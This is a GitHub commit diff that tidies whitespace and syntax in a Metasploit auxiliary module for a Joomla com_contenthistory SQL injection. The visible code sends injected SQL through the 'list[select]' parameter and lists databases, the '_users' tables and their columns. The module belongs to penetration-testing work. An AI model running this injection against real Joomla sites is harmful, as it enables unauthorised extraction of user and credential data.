Skip to content

Commit 9041f95

Browse files
committed
Perform final cleanup
1 parent c7fe014 commit 9041f95

File tree

1 file changed

+8
-5
lines changed

1 file changed

+8
-5
lines changed

modules/auxiliary/gather/joomla_contenthistory_sqli.rb

Lines changed: 8 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,8 @@ def initialize(info = {})
2525
'Author' =>
2626
[
2727
'Asaf Orpani', # discovery
28-
'bperry', # metasploit module
29-
'Nixawk' # module review
28+
'bperry', # metasploit module
29+
'Nixawk' # module review
3030
],
3131
'License' => MSF_LICENSE,
3232
'DisclosureDate' => 'Oct 22 2015'
@@ -57,7 +57,6 @@ def check
5757
else
5858
Msf::Exploit::CheckCode::Safe
5959
end
60-
6160
end
6261

6362
def request(query, payload, lmark, rmark)
@@ -90,6 +89,7 @@ def query_databases(payload, lmark, rmark)
9089
%w(performance_schema information_schema mysql).each do |dbname|
9190
dbs.delete(dbname) if dbs.include?(dbname)
9291
end
92+
9393
dbs
9494
end
9595

@@ -113,6 +113,7 @@ def query_tables(database, payload, lmark, rmark)
113113
vprint_good(tbname)
114114
tbs << tbname if tbname =~ /_users$/
115115
end
116+
116117
tbs
117118
end
118119

@@ -160,6 +161,7 @@ def query_columns(database, table, payload, lmark, rmark)
160161
cols << record
161162
vprint_status(record.to_s)
162163
end
164+
163165
cols
164166
end
165167

@@ -192,7 +194,7 @@ def run
192194
end
193195

194196
def sqli(payload)
195-
send_request_cgi({
197+
send_request_cgi(
196198
'uri' => normalize_uri(target_uri.path, 'index.php'),
197199
'vars_get' => {
198200
'option' => 'com_contenthistory',
@@ -202,6 +204,7 @@ def sqli(payload)
202204
'type_id' => 1,
203205
'list[select]' => '1 ' + payload
204206
}
205-
})
207+
)
206208
end
209+
207210
end

0 commit comments

Comments
 (0)